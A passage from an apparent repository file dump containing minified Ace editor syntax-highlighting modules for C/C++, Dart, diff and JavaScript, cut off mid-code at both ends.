r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/c_cpp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c_cpp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c_cpp\"}.call(l.prototype),t.Mode=l}),define(\"ace/mode/dart_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"true|false|null\",t=\"this|super\",n=\"try|catch|finally|throw|rethrow|assert|break|case|continue|default|do|else|for|if|in|return|switch|while|new|deferred|async|await\",r=\"abstract|class|extends|external|factory|implements|get|native|operator|set|typedef|with|enum\",s=\"static|final|const\",o=\"void|bool|num|int|double|dynamic|var|String\",u=this.createKeywordMapper({\"constant.language.dart\":e,\"variable.language.dart\":t,\"keyword.control.dart\":n,\"keyword.declaration.dart\":r,\"storage.modifier.dart\":s,\"storage.type.primitive.dart\":o},\"identifier\"),a={token:\"string\",regex:\".+\"};this.$rules={start:[{token:\"comment\",regex:/\\/\\/.*$/},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:[\"meta.preprocessor.script.dart\"],regex:\"^(#!.*)$\"},{token:\"keyword.other.import.dart\",regex:\"(?:\\\\b)(?:library|import|export|part|of|show|hide)(?:\\\\b)\"},{token:[\"keyword.other.import.dart\",\"text\"],regex:\"(?:\\\\b)(prefix)(\\\\s*:)\"},{regex:\"\\\\bas\\\\b\",token:\"keyword.cast.dart\"},{regex:\"\\\\?|:\",token:\"keyword.control.ternary.dart\"},{regex:\"(?:\\\\b)(is\\\\!?)(?:\\\\b)\",token:[\"keyword.operator.dart\"]},{regex:\"(<<|>>>?|~|\\\\^|\\\\||&)\",token:[\"keyword.operator.bitwise.dart\"]},{regex:\"((?:&|\\\\^|\\\\||<<|>>>?)=)\",token:[\"keyword.operator.assignment.bitwise.dart\"]},{regex:\"(===?|!==?|<=?|>=?)\",token:[\"keyword.operator.comparison.dart\"]},{regex:\"((?:[+*/%-]|\\\\~)=)\",token:[\"keyword.operator.assignment.arithmetic.dart\"]},{regex:\"=\",token:\"keyword.operator.assignment.dart\"},{token:\"string\",regex:\"'''\",next:\"qdoc\"},{token:\"string\",regex:'\"\"\"',next:\"qqdoc\"},{token:\"string\",regex:\"'\",next:\"qstring\"},{token:\"string\",regex:'\"',next:\"qqstring\"},{regex:\"(\\\\-\\\\-|\\\\+\\\\+)\",token:[\"keyword.operator.increment-decrement.dart\"]},{regex:\"(\\\\-|\\\\+|\\\\*|\\\\/|\\\\~\\\\/|%)\",token:[\"keyword.operator.arithmetic.dart\"]},{regex:\"(!|&&|\\\\|\\\\|)\",token:[\"keyword.operator.logical.dart\"]},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qdoc:[{token:\"string\",regex:\".*?'''\",next:\"start\"},a],qqdoc:[{token:\"string\",regex:'.*?\"\"\"',next:\"start\"},a],qstring:[{token:\"string\",regex:\"[^\\\\\\\\']*(?:\\\\\\\\.[^\\\\\\\\']*)*'\",next:\"start\"},a],qqstring:[{token:\"string\",regex:'[^\\\\\\\\\"]*(?:\\\\\\\\.[^\\\\\\\\\"]*)*\"',next:\"start\"},a]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(o,s),t.DartHighlightRules=o}),define(\"ace/mode/dart\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/c_cpp\",\"ace/mode/dart_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./c_cpp\").Mode,s=e(\"./dart_highlight_rules\").DartHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){i.call(this),this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/dart\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-diff.js",
    "content": "define(\"ace/mode/diff_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{regex:\"^(?:\\\\*{15}|={67}|-{3}|\\\\+{3})$\",token:\"punctuation.definition.separator.diff\",name:\"keyword\"},{regex:\"^(@@)(\\\\s*.+?\\\\s*)(@@)(.*)$\",token:[\"constant\",\"constant.numeric\",\"constant\",\"comment.doc.tag\"]},{regex:\"^(\\\\d+)([,\\\\d]+)(a|d|c)(\\\\d+)([,\\\\d]+)(.*)$\",token:[\"constant.numeric\",\"punctuation.definition.range.diff\",\"constant.function\",\"constant.numeric\",\"punctuation.definition.range.diff\",\"invalid\"],name:\"meta.\"},{regex:\"^(\\\\-{3}|\\\\+{3}|\\\\*{3})( .+)$\",token:[\"constant.numeric\",\"meta.tag\"]},{regex:\"^([!+>])(.*?)(\\\\s*)$\",token:[\"support.constant\",\"text\",\"invalid\"]},{regex:\"^([<\\\\-])(.*?)(\\\\s*)$\",token:[\"support.function\",\"string\",\"invalid\"]},{regex:\"^(diff)(\\\\s+--\\\\w+)?(.+?)( .+)?$\",token:[\"variable\",\"variable\",\"keyword\",\"variable\"]},{regex:\"^Index.+$\",token:\"variable\"},{regex:\"^\\\\s+$\",token:\"text\"},{regex:\"\\\\s*$\",token:\"invalid\"},{defaultToken:\"invisible\",caseInsensitive:!0}]}};r.inherits(s,i),t.DiffHighlightRules=s}),define(\"ace/mode/folding/diff\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(e,t){this.regExpList=e,this.flag=t,this.foldingStartMarker=RegExp(\"^(\"+e.join(\"|\")+\")\",this.flag)};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=e.getLine(n),i={row:n,column:r.length},o=this.regExpList;for(var u=1;u<=o.length;u++){var a=RegExp(\"^(\"+o.slice(0,u).join(\"|\")+\")\",this.flag);if(a.test(r))break}for(var f=e.getLength();++n<f;){r=e.getLine(n);if(a.test(r))break}if(n==i.row+1)return;return s.fromPoints(i,{row:n-1,column:r.length})}}.call(o.prototype)}),define(\"ace/mode/diff\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/diff_highlight_rules\",\"ace/mode/folding/diff\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./diff_highlight_rules\").DiffHighlightRules,o=e(\"./folding/diff\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o([\"diff\",\"index\",\"\\\\+{3}\",\"@@|\\\\*{5}\"],\"i\")};r.inherits(u,i),function(){this.$id=\"ace/mode/diff\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-django.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var 